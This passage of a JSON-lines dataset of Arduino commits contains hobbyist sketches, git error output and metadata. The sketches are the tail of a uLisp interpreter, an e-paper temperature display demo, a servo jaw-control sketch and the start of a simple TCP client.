tee;\n else return nil;\n}\n\nobject *fn_evenp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if ((arg & 1) == 0) return tee;\n else return nil;\n}\n\n\/\/ System functions\n\nobject *fn_read (object *args, object *env) {\n (void) args;\n (void) env;\n return read();\n}\n\nobject *fn_eval (object *args, object *env) {\n return eval(first(args), env);\n}\n\nobject *fn_locals (object *args, object *env) {\n (void) args;\n return env;\n}\n\nobject *fn_globals (object *args, object *env) {\n (void) args;\n (void) env;\n return GlobalEnv;\n}\n\nobject *fn_makunbound (object *args, object *env) {\n (void) args;\n (void) env;\n object *key = first(args);\n object *list = GlobalEnv;\n object *prev = NULL;\n while (list != NULL) {\n object *pair = first(list);\n if (eq(key,car(pair))) {\n if (prev == NULL) GlobalEnv = cdr(list);\n else cdr(prev) = cdr(list);\n return key;\n }\n prev = list;\n list = cdr(list);\n }\n error2(key, F(\"not found\"));\n return nil;\n}\n\nobject *fn_break (object *args, object *env) {\n (void) args;\n Serial.println();\n Serial.println(F(\"Break!\"));\n BreakLevel++;\n repl(env);\n BreakLevel--;\n return nil;\n}\n\nobject *fn_print (object *args, object *env) {\n (void) env;\n Serial.println();\n object *obj = first(args);\n printobject(obj);\n Serial.print(' ');\n return obj;\n}\n\nobject *fn_princ (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n printobject(obj);\n return obj;\n}\n\nobject *fn_gc (object *obj, object *env) {\n unsigned long start = micros();\n int initial = freespace;\n gc(obj, env);\n Serial.print(F(\"Space: \"));\n Serial.print(freespace - initial);\n Serial.print(F(\" bytes, Time: \"));\n Serial.print(micros() - start);\n Serial.println(F(\" uS\"));\n return nil;\n}\n\n\/\/ Arduino procedures\n\nobject *fn_pinmode (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n object *mode = second(args);\n if (mode->type == NUMBER) pinMode(pin, mode->integer);\n else pinMode(pin, (mode != nil));\n return nil;\n}\n\nobject *fn_digitalread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n if(digitalRead(pin) != 0) return tee; else return nil;\n}\n\nobject *fn_digitalwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n object *mode = second(args);\n digitalWrite(pin, (mode != nil));\n return mode;\n}\n\nobject *fn_analogread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n#if defined(__AVR_ATmega328P__)\n if (!(pin>=0 && pin<=5)) error(F(\"'analogread' invalid pin\"));\n#elif defined(__AVR_ATmega2560__)\n if (!(pin>=0 && pin<=15)) error(F(\"'analogread' invalid pin\"));\n#endif\n return number(analogRead(pin));\n}\n \nobject *fn_analogwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n#if defined(__AVR_ATmega328P__)\n if (!(pin>=3 && pin<=11 && pin!=4 && pin!=7 && pin!=8)) error(F(\"'analogwrite' invalid pin\"));\n#elif defined(__AVR_ATmega2560__)\n if (!((pin>=2 && pin<=13) || (pin>=44 && pin <=46))) error(F(\"'analogwrite' invalid pin\"));\n#endif\n object *value = second(args);\n analogWrite(pin, integer(value));\n return value;\n}\n\nobject *fn_delay (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n delay(integer(arg1));\n return arg1;\n}\n\nobject *fn_millis (object *args, object *env) {\n (void) env;\n (void) args;\n unsigned long temp = millis();\n #if defined(checkoverflow)\n if (temp > 32767) error(F(\"'millis' arithmetic overflow\"));\n #endif\n return number(temp);\n}\n\nobject *fn_shiftout (object *args, object *env) {\n (void) env;\n int datapin = integer(first(args));\n int clockpin = integer(second(args));\n int order = (third(args) != nil);\n object *value = fourth(args);\n shiftOut(datapin, clockpin, order, integer(value));\n return value;\n}\n\nobject *fn_shiftin (object *args, object *env) {\n (void) env;\n int datapin = integer(first(args));\n int clockpin = integer(second(args));\n int order = (third(args) != nil);\n int value = shiftIn(datapin, clockpin, order);\n return number(value);\n}\n\nconst uint8_t scale[] PROGMEM = { 239,225,213,201,190,179,169,159,150,142,134,127};\n\nobject *fn_note (object *args, object *env) {\n (void) env;\n #if defined(__AVR_ATmega328P__)\n if (args != NULL) {\n int pin = integer(first(args));\n int note = integer(second(args));\n if (pin == 3) {\n DDRD = DDRD | 1<<DDD3; \/\/ PD3 (Arduino D3) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 11) {\n DDRB = DDRB | 1<<DDB3; \/\/ PB3 (Arduino D11) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(F(\"'note' pin not supported\"));\n int prescaler = 0;\n if (cdr(cdr(args)) != NULL) prescaler = integer(third(args));\n prescaler = 9 - prescaler - note\/12;\n if (prescaler<3 || prescaler>6) error(F(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]);\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n } else TCCR2B = 0<<WGM22 | 0<<CS20;\n #elif defined(__AVR_ATmega2560__)\n if (args != NULL) {\n int pin = integer(first(args));\n int note = integer(second(args));\n if (pin == 9) {\n DDRH = DDRH | 1<<DDH6; \/\/ PH6 (Arduino D9) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 10) {\n DDRB = DDRB | 1<<DDB4; \/\/ PB4 (Arduino D10) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(F(\"'note' pin not supported\"));\n int prescaler = 0;\n if (cdr(cdr(args)) != NULL) prescaler = integer(third(args));\n prescaler = 9 - prescaler - note\/12;\n if (prescaler<3 || prescaler>6) error(F(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]);\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n } else TCCR2B = 0<<WGM22 | 0<<CS20;\n #endif\n return nil;\n}\n\n\/\/ Insert your own function definitions here\n\n\n\/\/ Built-in procedure names - stored in PROGMEM\n\nconst char string0[] PROGMEM = \"symbols\";\nconst char string1[] PROGMEM = \"(\";\nconst char string2[] PROGMEM = \")\";\nconst char string3[] PROGMEM = \"'\";\nconst char string4[] PROGMEM = \".\";\nconst char string5[] PROGMEM = \"nil\";\nconst char string6[] PROGMEM = \"t\";\nconst char string7[] PROGMEM = \"lambda\";\nconst char string8[] PROGMEM = \"let\";\nconst char string9[] PROGMEM = \"let*\";\nconst char string10[] PROGMEM = \"closure\";\nconst char string11[] PROGMEM = \"special_forms\";\nconst char string12[] PROGMEM = \"quote\";\nconst char string13[] PROGMEM = \"defun\";\nconst char string14[] PROGMEM = \"defvar\";\nconst char string15[] PROGMEM = \"setq\";\nconst char string16[] PROGMEM = \"loop\";\nconst char string17[] PROGMEM = \"push\";\nconst char string18[] PROGMEM = \"pop\";\nconst char string19[] PROGMEM = \"incf\";\nconst char string20[] PROGMEM = \"decf\";\nconst char string21[] PROGMEM = \"dolist\";\nconst char string22[] PROGMEM = \"dotimes\";\nconst char string23[] PROGMEM = \"for-millis\";\nconst char string24[] PROGMEM = \"tail_forms\";\nconst char string25[] PROGMEM = \"progn\";\nconst char string26[] PROGMEM = \"return\";\nconst char string27[] PROGMEM = \"if\";\nconst char string28[] PROGMEM = \"cond\";\nconst char string29[] PROGMEM = \"when\";\nconst char string30[] PROGMEM = \"unless\";\nconst char string31[] PROGMEM = \"and\";\nconst char string32[] PROGMEM = \"or\";\nconst char string33[] PROGMEM = \"functions\";\nconst char string34[] PROGMEM = \"not\";\nconst char string35[] PROGMEM = \"null\";\nconst char string36[] PROGMEM = \"cons\";\nconst char string37[] PROGMEM = \"atom\";\nconst char string38[] PROGMEM = \"listp\";\nconst char string39[] PROGMEM = \"consp\";\nconst char string40[] PROGMEM = \"numberp\";\nconst char string41[] PROGMEM = \"eq\";\nconst char string42[] PROGMEM = \"car\";\nconst char string43[] PROGMEM = \"first\";\nconst char string44[] PROGMEM = \"cdr\";\nconst char string45[] PROGMEM = \"rest\";\nconst char string46[] PROGMEM = \"caar\";\nconst char string47[] PROGMEM = \"cadr\";\nconst char string48[] PROGMEM = \"second\";\nconst char string49[] PROGMEM = \"cdar\";\nconst char string50[] PROGMEM = \"cddr\";\nconst char string51[] PROGMEM = \"caaar\";\nconst char string52[] PROGMEM = \"caadr\";\nconst char string53[] PROGMEM = \"cadar\";\nconst char string54[] PROGMEM = \"caddr\";\nconst char string55[] PROGMEM = \"third\";\nconst char string56[] PROGMEM = \"cdaar\";\nconst char string57[] PROGMEM = \"cdadr\";\nconst char string58[] PROGMEM = \"cddar\";\nconst char string59[] PROGMEM = \"cdddr\";\nconst char string60[] PROGMEM = \"length\";\nconst char string61[] PROGMEM = \"list\";\nconst char string62[] PROGMEM = \"reverse\";\nconst char string63[] PROGMEM = \"nth\";\nconst char string64[] PROGMEM = \"assoc\";\nconst char string65[] PROGMEM = \"member\";\nconst char string66[] PROGMEM = \"apply\";\nconst char string67[] PROGMEM = \"funcall\";\nconst char string68[] PROGMEM = \"append\";\nconst char string69[] PROGMEM = \"mapc\";\nconst char string70[] PROGMEM = \"mapcar\";\nconst char string71[] PROGMEM = \"+\";\nconst char string72[] PROGMEM = \"-\";\nconst char string73[] PROGMEM = \"*\";\nconst char string74[] PROGMEM = \"\/\";\nconst char string75[] PROGMEM = \"mod\";\nconst char string76[] PROGMEM = \"1+\";\nconst char string77[] PROGMEM = \"1-\";\nconst char string78[] PROGMEM = \"abs\";\nconst char string79[] PROGMEM = \"random\";\nconst char string80[] PROGMEM = \"max\";\nconst char string81[] PROGMEM = \"min\";\nconst char string82[] PROGMEM = \"=\";\nconst char string83[] PROGMEM = \"<\";\nconst char string84[] PROGMEM = \"<=\";\nconst char string85[] PROGMEM = \">\";\nconst char string86[] PROGMEM = \">=\";\nconst char string87[] PROGMEM = \"\/=\";\nconst char string88[] PROGMEM = \"plusp\";\nconst char string89[] PROGMEM = \"minusp\";\nconst char string90[] PROGMEM = \"zerop\";\nconst char string91[] PROGMEM = \"oddp\";\nconst char string92[] PROGMEM = \"evenp\";\nconst char string93[] PROGMEM = \"read\";\nconst char string94[] PROGMEM = \"eval\";\nconst char string95[] PROGMEM = \"locals\";\nconst char string96[] PROGMEM = \"globals\";\nconst char string97[] PROGMEM = \"makunbound\";\nconst char string98[] PROGMEM = \"break\";\nconst char string99[] PROGMEM = \"print\";\nconst char string100[] PROGMEM = \"princ\";\nconst char string101[] PROGMEM = \"gc\";\nconst char string102[] PROGMEM = \"pinmode\";\nconst char string103[] PROGMEM = \"digitalread\";\nconst char string104[] PROGMEM = \"digitalwrite\";\nconst char string105[] PROGMEM = \"analogread\";\nconst char string106[] PROGMEM = \"analogwrite\";\nconst char string107[] PROGMEM = \"delay\";\nconst char string108[] PROGMEM = \"millis\";\nconst char string109[] PROGMEM = \"shiftout\";\nconst char string110[] PROGMEM = \"shiftin\";\nconst char string111[] PROGMEM = \"note\";\n\nconst tbl_entry_t lookup_table[] PROGMEM = {\n { string0, NULL, NIL, NIL },\n { string1, NULL, 0, 0 },\n { string2, NULL, 0, 0 },\n { string3, NULL, 0, 0 },\n { string4, NULL, 0, 0 },\n { string5, NULL, 0, 0 },\n { string6, NULL, 0, 0 },\n { string7, NULL, 0, 127 },\n { string8, NULL, 0, 127 },\n { string9, NULL, 0, 127 },\n { string10, NULL, 0, 127 },\n { string11, NULL, NIL, NIL },\n { string12, sp_quote, 1, 1 },\n { string13, sp_defun, 0, 127 },\n { string14, sp_defvar, 0, 127 },\n { string15, sp_setq, 2, 2 },\n { string16, sp_loop, 0, 127 },\n { string17, sp_push, 2, 2 },\n { string18, sp_pop, 1, 1 },\n { string19, sp_incf, 1, 2 },\n { string20, sp_decf, 1, 2 },\n { string21, sp_dolist, 1, 127 },\n { string22, sp_dotimes, 1, 127 },\n { string23, sp_formillis, 1, 127 },\n { string24, NULL, NIL, NIL },\n { string25, tf_progn, 0, 127 },\n { string26, tf_return, 0, 127 },\n { string27, tf_if, 2, 3 },\n { string28, tf_cond, 0, 127 },\n { string29, tf_when, 1, 127 },\n { string30, tf_unless, 1, 127 },\n { string31, tf_and, 0, 127 },\n { string32, tf_or, 0, 127 },\n { string33, NULL, NIL, NIL },\n { string34, fn_not, 1, 1 },\n { string35, fn_not, 1, 1 },\n { string36, fn_cons, 2, 2 },\n { string37, fn_atom, 1, 1 },\n { string38, fn_listp, 1, 1 },\n { string39, fn_consp, 1, 1 },\n { string40, fn_numberp, 1, 1 },\n { string41, fn_eq, 2, 2 },\n { string42, fn_car, 1, 1 },\n { string43, fn_car, 1, 1 },\n { string44, fn_cdr, 1, 1 },\n { string45, fn_cdr, 1, 1 },\n { string46, fn_caar, 1, 1 },\n { string47, fn_cadr, 1, 1 },\n { string48, fn_cadr, 1, 1 },\n { string49, fn_cdar, 1, 1 },\n { string50, fn_cddr, 1, 1 },\n { string51, fn_caaar, 1, 1 },\n { string52, fn_caadr, 1, 1 },\n { string53, fn_cadar, 1, 1 },\n { string54, fn_caddr, 1, 1 },\n { string55, fn_caddr, 1, 1 },\n { string56, fn_cdaar, 1, 1 },\n { string57, fn_cdadr, 1, 1 },\n { string58, fn_cddar, 1, 1 },\n { string59, fn_cdddr, 1, 1 },\n { string60, fn_length, 1, 1 },\n { string61, fn_list, 0, 127 },\n { string62, fn_reverse, 1, 1 },\n { string63, fn_nth, 2, 2 },\n { string64, fn_assoc, 2, 2 },\n { string65, fn_member, 2, 2 },\n { string66, fn_apply, 2, 127 },\n { string67, fn_funcall, 1, 127 },\n { string68, fn_append, 0, 127 },\n { string69, fn_mapc, 2, 3 },\n { string70, fn_mapcar, 2, 3 },\n { string71, fn_add, 0, 127 },\n { string72, fn_subtract, 1, 127 },\n { string73, fn_multiply, 0, 127 },\n { string74, fn_divide, 2, 127 },\n { string75, fn_mod, 2, 2 },\n { string76, fn_oneplus, 1, 1 },\n { string77, fn_oneminus, 1, 1 },\n { string78, fn_abs, 1, 1 },\n { string79, fn_random, 1, 1 },\n { string80, fn_max, 1, 127 },\n { string81, fn_min, 1, 127 },\n { string82, fn_numeq, 1, 127 },\n { string83, fn_less, 1, 127 },\n { string84, fn_lesseq, 1, 127 },\n { string85, fn_greater, 1, 127 },\n { string86, fn_greatereq, 1, 127 },\n { string87, fn_noteq, 1, 127 },\n { string88, fn_plusp, 1, 1 },\n { string89, fn_minusp, 1, 1 },\n { string90, fn_zerop, 1, 1 },\n { string91, fn_oddp, 1, 1 },\n { string92, fn_evenp, 1, 1 },\n { string93, fn_read, 0, 0 },\n { string94, fn_eval, 1, 1 },\n { string95, fn_locals, 0, 0 },\n { string96, fn_globals, 0, 0 },\n { string97, fn_makunbound, 1, 1 },\n { string98, fn_break, 0, 0 },\n { string99, fn_print, 1, 1 },\n { string100, fn_princ, 1, 1 },\n { string101, fn_gc, 0, 0 },\n { string102, fn_pinmode, 2, 2 },\n { string103, fn_digitalread, 1, 1 },\n { string104, fn_digitalwrite, 2, 2 },\n { string105, fn_analogread, 1, 1 },\n { string106, fn_analogwrite, 2, 2 },\n { string107, fn_delay, 1, 1 },\n { string108, fn_millis, 0, 0 },\n { string109, fn_shiftout, 4, 4 },\n { string110, fn_shiftin, 3, 3 },\n { string111, fn_note, 0, 3 },\n};\n\n\/\/ Table lookup functions\n\nint builtin(char* n){\n int entry = 0;\n while (entry < ENDFUNCTIONS) {\n if(strcmp_P(n, (char*)pgm_read_word(&lookup_table[entry].string)) == 0)\n return entry;\n entry++;\n }\n return ENDFUNCTIONS;\n}\n\nint lookupfn(unsigned int name) {\n return pgm_read_word(&lookup_table[name].fptr);\n}\n\nint lookupmin(unsigned int name) {\n return pgm_read_word(&lookup_table[name].min);\n}\n\nint lookupmax(unsigned int name) {\n return pgm_read_word(&lookup_table[name].max);\n}\n\nchar *lookupstring (unsigned int name) {\n strcpy_P(buffer, (char *)(pgm_read_word(&lookup_table[name].string)));\n return buffer;\n}\n\n\/\/ Main evaluator\n\nunsigned int Canary = 0xA5A5;\n\nobject *eval (object *form, object *env) {\n int TC=0;\n EVAL:\n \/\/ Enough space?\n if (freespace < 10) gc(form, env);\n if (Canary != 0xA5A5) error(F(\"Error: Stack overflow\"));\n \/\/ Break\n if (Serial.read() == '~') error(F(\"Break!\"));\n \n if (form == NULL) return nil;\n\n if (form->type == NUMBER) return form;\n\n if (form->type == SYMBOL) {\n unsigned int name = form->name;\n if (name == NIL) return nil;\n object *pair = value(name, env);\n if (pair != NULL) return cdr(pair);\n pair = value(name, GlobalEnv);\n if (pair != NULL) return cdr(pair);\n else if (name <= ENDFUNCTIONS) return form;\n error2(form, F(\"undefined\"));\n }\n \n \/\/ It's a list\n object *function = car(form);\n object *args = cdr(form);\n\n \/\/ List starts with a symbol?\n if (function->type == SYMBOL) {\n unsigned int name = function->name;\n\n if ((name == LET) || (name == LETSTAR)) {\n object *assigns = first(args);\n object *forms = cdr(args);\n object *newenv = env;\n while (assigns != NULL) {\n object *assign = car(assigns);\n if (consp(assign)) push(cons(first(assign),eval(second(assign),env)), newenv);\n else push(cons(assign,nil), newenv);\n if (name == LETSTAR) env = newenv;\n assigns = cdr(assigns);\n }\n env = newenv;\n form = tf_progn(forms,env);\n TC = 1;\n goto EVAL;\n }\n\n if (name == LAMBDA) {\n object *envcopy = NULL;\n while (env != NULL) {\n object *pair = first(env);\n object *val = cdr(pair);\n if (val->type == NUMBER) val = number(val->integer);\n push(cons(car(pair), val), envcopy);\n env = cdr(env);\n }\n return cons(symbol(CLOSURE), cons(envcopy,args));\n }\n \n if ((name > SPECIAL_FORMS) && (name < TAIL_FORMS)) {\n return ((fn_ptr_type)lookupfn(name))(args, env);\n }\n\n if ((name > TAIL_FORMS) && (name < FUNCTIONS)) {\n form = ((fn_ptr_type)lookupfn(name))(args, env);\n TC = 1;\n goto EVAL;\n }\n }\n \n \/\/ Evaluate the parameters - result in head\n object *fname = car(form);\n int TCstart = TC;\n object *head = cons(eval(car(form), env), NULL);\n push(head, GCStack); \/\/ Don't GC the result list\n object *tail = head;\n form = cdr(form);\n int nargs = 0;\n\n while (form != NULL){\n object *obj = cons(eval(car(form),env),NULL);\n cdr(tail) = obj;\n tail = obj;\n form = cdr(form);\n nargs++;\n }\n \n function = car(head);\n args = cdr(head);\n \n if (function->type == SYMBOL) {\n unsigned int name = function->name;\n if (name >= ENDFUNCTIONS) error2(fname, F(\"is not a function\"));\n if (nargs<lookupmin(name)) error2(fname, F(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(fname, F(\"has too many arguments\"));\n object *result = ((fn_ptr_type)lookupfn(name))(args, env);\n pop(GCStack);\n return result;\n }\n \n if (listp(function) && issymbol(car(function), CLOSURE)) {\n form = closure(TCstart, fname, cdr(function), args, &env);\n pop(GCStack);\n TC = 1;\n goto EVAL;\n } \n\n error2(fname, F(\"is an illegal function\")); return nil;\n}\n\n\/\/ Input\/Output\n\nvoid printobject(object *form){\n if (form == NULL) Serial.print(F(\"nil\"));\n else if (listp(form) && issymbol(car(form), CLOSURE) && car(cdr(form)) != NULL) {\n Serial.print(F(\"<closure>\"));\n } else if (listp(form)) {\n Serial.print('(');\n if (issymbol(car(form), CLOSURE)) {\n Serial.print(F(\"lambda\"));\n form = cdr(form);\n } else printobject(car(form));\n form = cdr(form);\n while (form != NULL && listp(form)) {\n Serial.print(' ');\n printobject(car(form));\n form = cdr(form);\n }\n if (form != NULL) {\n Serial.print(F(\" . \"));\n printobject(form);\n }\n Serial.print(')');\n } else if (form->type == NUMBER){\n Serial.print(integer(form));\n } else if (form->type == SYMBOL){\n Serial.print(name(form));\n #if defined(debug2)\n Serial.print('[');Serial.print((int)form);Serial.print(']');\n #endif\n } else\n error(F(\"Error in print.\"));\n}\n\nint LastChar = 0;\n\nint Getc () {\n if (LastChar) { \n int temp = LastChar;\n LastChar = 0;\n return temp;\n }\n while (!Serial.available());\n int temp = Serial.read();\n Serial.print((char)temp);\n \/\/ if (temp == 13) Serial.println();\n return temp;\n}\n\nobject *nextitem() {\n int ch = Getc();\n while(isspace(ch)) ch = Getc();\n\n if (ch == ';') {\n while(ch != '(') ch = Getc();\n ch = '(';\n }\n if (ch == '\\n') ch = Getc();\n if (ch == EOF) exit(0);\n\n if (ch == ')') return ket;\n if (ch == '(') return bra;\n if (ch == '\\'') return quo;\n if (ch == '.') return dot;\n\n int index = 0;\n if (ch == '+' || ch == '-') {\n buffer[index++] = ch;\n ch = Getc();\n }\n int isnumber = isdigit(ch);\n buffer[2] = '\\0'; \/\/ In case variable is one letter\n\n while(!isspace(ch) && ch != ')' && index < buflen){\n buffer[index++] = ch;\n isnumber = isnumber && isdigit(ch);\n ch = Getc();\n }\n\n buffer[index] = '\\0';\n if (ch == ')') LastChar = ')';\n\n if (isnumber) return number(atoi(buffer));\n \n int x = builtin(buffer);\n if (x == NIL) return nil;\n if (x < ENDFUNCTIONS) return symbol(x);\n else return symbol(pack40(buffer));\n}\n\nobject *readrest() {\n object *item = nextitem();\n\n if(item == ket) return NULL;\n \n if(item == dot) {\n object *arg1 = read();\n if (readrest() != NULL) error(F(\"Malformed list\"));\n return arg1;\n }\n\n if(item == quo) {\n object *arg1 = read();\n return cons(cons(symbol(QUOTE), cons(arg1, NULL)), readrest());\n }\n \n if(item == bra) item = readrest(); \n return cons(item, readrest());\n}\n\nobject *read() {\n object *item = nextitem();\n if (item == bra) return readrest();\n if (item == dot) return read();\n if (item == quo) return cons(symbol(QUOTE), cons(read(), NULL)); \n return item;\n}\n\nvoid initenv() {\n GlobalEnv = NULL;\n bra = symbol(BRA); ket = symbol(KET); \n tee = symbol(TEE); quo = symbol(QUO);\n dot = symbol(DOT);\n}\n\n\/\/ Setup\n\nvoid setup() {\n Serial.begin(9600);\n while (!Serial); \/\/ wait for Serial to initialize\n initworkspace();\n initenv();\n Serial.println(F(\"uLisp 1.0\"));\n}\n\n\/\/ Read\/Evaluate\/Print loop\n\nvoid repl(object *env) {\n for (;;) {\n randomSeed(micros());\n gc(NULL, env);\n Serial.print(freespace);\n if (BreakLevel) {\n Serial.print(F(\" : \"));\n Serial.print(BreakLevel);\n }\n Serial.print(F(\"> \"));\n object *line = read();\n if (line == nil) return;\n Serial.println();\n push(line, GCStack);\n printobject(eval(line,env));\n pop(GCStack);\n Serial.println();\n Serial.println();\n }\n}\n\nvoid loop() {\n setjmp(exception);\n repl(NULL);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ulisp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bf137c24e1a21d7f726f52136982a75298954639","subject":"smaller deadzones","message":"smaller deadzones\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsRX_EZ\/MotorsRX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"27bfb6a2122838f0b6e97cf99e3333e897229faa","subject":"Add test offset sketch","message":"Add test offset sketch\n","repos":"Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS","old_file":"Arduino\/TestOffset\/TestOffset.ino","new_file":"Arduino\/TestOffset\/TestOffset.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Hinaka\/-FPT-CAPSTONE-PGSS.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a36a45979d15237782284496887a65d459e6ae27","subject":"Added an example which shows how to display the temp and refresh the display with new data in a loop","message":"Added an example which shows how to display the temp and refresh the display with new data in a loop\n","repos":"szqt\/Small_ePaper_Shield,Seeed-Studio\/Small_ePaper_Shield,jomolinare\/Small_ePaper_Shield,jomolinare\/Small_ePaper_Shield","old_file":"examples\/temperature\/temperature.ino","new_file":"examples\/temperature\/temperature.ino","new_contents":"\/*-------------------------------------------------------------------------------------------\n A simple demo to display the temperature, a counter, and to show refreshing the display\n ever few seconds\n \n harrisonhjones (harrison@hhj.me)\n Nov(11) 30, 2014\n \n note: if you use an Arduin UNO, Seeeduino 3.0 (any board that use Atmega 328P or 32U4) \n you should insert an SD card if you want to use this demo\n if you use a Arduino Mega(any board that use Atmega1280 or Atmega2560), you neen't\n insert an SD card for this demo\n \n note 2: I have no idea if the following demo will work with an SD card inserted (as per\n note #1). It's possible that clearDisplay() which is an alias for clear_sd won't\n clear the display with an SD card inserted. Feel free to submit an issue on the \n github repo if that turns out to be the case\n \n note 3: GB2312 table: http:\/\/ash.jp\/code\/cn\/gb2312tbl.htm\n-------------------------------------------------------------------------------------------*\/ \n\n#include <ePaper.h>\n#include <SPI.h>\n#include <SD.h>\n#include \"GT20L16_drive.h\"\n\n#define SCREEN_SIZE 270 \/\/ choose screen size: 144, 200, 270\n\n#if (SCREEN_SIZE == 144)\n#define EPD_SIZE EPD_1_44\n\n#elif (SCREEN_SIZE == 200)\n#define EPD_SIZE EPD_2_0\n\n#elif (SCREEN_SIZE == 270)\n#define EPD_SIZE EPD_2_7\n\n#else\n#error \"Unknown EPB size: Change the #define SCREEN_SIZE to a supported value\"\n#endif\n\nint x; \nchar tmpTemp[15];\n\nvoid setup()\n{\n EPAPER.begin(EPD_SIZE); \/\/ setup epaper, size \n EPAPER.setDirection(DIRNORMAL); \/\/ set display direction\n eSD.begin(EPD_SIZE); \n GT20L16.begin();\n}\n\nvoid loop()\n{\n \/\/ Draw the \"title\"\n EPAPER.drawStringBig(\"SeeedStudio\", 10, 10);\n EPAPER.drawString(\"Small e-Paper Display\", 10, 40);\n \n \/\/ Draw the temperature\n sprintf(tmpTemp, \"Temp: %d C\", EPAPER.getTemperature());\n EPAPER.drawStringBig(tmpTemp, 10, 70);\n \n \/\/ Draw the count. This isn't the best way to do it (the number will \n \/\/ eventually flow over the count text) but it's just a simple example\n\n EPAPER.drawString(\"Count: \",10,110);\n EPAPER.drawNumber(x,80,110);\n x++;\n \n EPAPER.display();\n \n delay(5000);\n \n EPAPER.clearDisplay(); \n}\n\n\/*********************************************************************************************************\n END FILE\n*********************************************************************************************************\/","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/temperature\/temperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a24cf48506ca3084a22c51fdedd7405a26906c2a","subject":"Create mouthcontrol_hardware.ino (#29)","message":"Create mouthcontrol_hardware.ino (#29)\n\nHardware mouthcontrol, to have perfect jaw syncronisation \r\nand shutdown microphone when speak","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/moz4r\/mouthcontrol_hardware.ino","new_file":"home\/moz4r\/mouthcontrol_hardware.ino","new_contents":"\/\/ HARDWARE MOUTHCONTROL\n\/\/\n\/\/ dedicated arduino\n\/\/ Read voltage value from speaker and move jaw\n\/\/ First POC version, need to be calibrated and fixed :\n\/\/ If you want test it please read Analog values when you have NO SOUND and enter MIN and MAX\n\/\/ I think you need AREF\n\/\/\n\/\/ To do : \n\/\/ automatic values detection when sound level change\n\/\/ Webkit : shutdown microphone when speak\n\n#include <Servo.h> \n\n\n\n#define servoPin 9 \/\/ jaw\n#define HPpin 5 \/\/ analog speaker input\n\n\n\nServo myservo; \n\nint MIN = 665; \nint MAX = 680; \nint SecondDetection = 1; \/\/ \nint val = 0; \/\/ variable to store the read value\nint i = 0;\nint pos = 75; \/\/ variable to store the servo position \nint BoucheStatus = 0;\nint ActionBouche = 0;\n\n\nvoid setup() \n{ \n \n \n analogReference(EXTERNAL);\n pinMode(servoPin, OUTPUT); \n Serial.begin(9600); \n Serial.println(\"--- Start DEBUG ---\");\n myservo.attach(servoPin); \/\/ attaches the servo on pin 9 to the servo object \n myservo.write(75);\n} \n \nvoid loop() \n{ \n\n \n val = analogRead(HPpin);\n\n if (val < MIN || val > MAX ) \/\/ if values detected : speaker voltage\n \n {\n BoucheStatus = 1; \/\/ closed mouth\n\n }\n else \n\n {\n i++;\n }\n \n if (i>=SecondDetection)\n {\n i=0;\n BoucheStatus = 0;\n Serial.println(val);\n \n }\n\n if (BoucheStatus == 0 && ActionBouche == 0)\n\n {\n myservo.write(90);\n ActionBouche = 1;\n delay(50);\n myservo.write(75);\n delay(50);\n }\n if (BoucheStatus == 1 && ActionBouche == 1)\n {\n myservo.write(75);\n ActionBouche =0;\n delay(50);\n }\n\n \ndelay(1);\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/moz4r\/mouthcontrol_hardware.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f92bd72255beb878266482fe830a217999e2a136","subject":"Create new.ino","message":"Create new.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"new.ino","new_file":"new.ino","new_contents":"TCPClient client;\n\n\n\nchar server[] = \"my-node-url.com\";\n\n\n\n\n\nint connectToMyServer(String nothing) {\n\n digitalWrite(D7, HIGH);\n if (client.connect(server, 80)) {\n client.write(\"GET \/ HTTP\/1.1\\r\\n\");\n client.write(\"Host: my-node-url.com\\r\\n\");\n 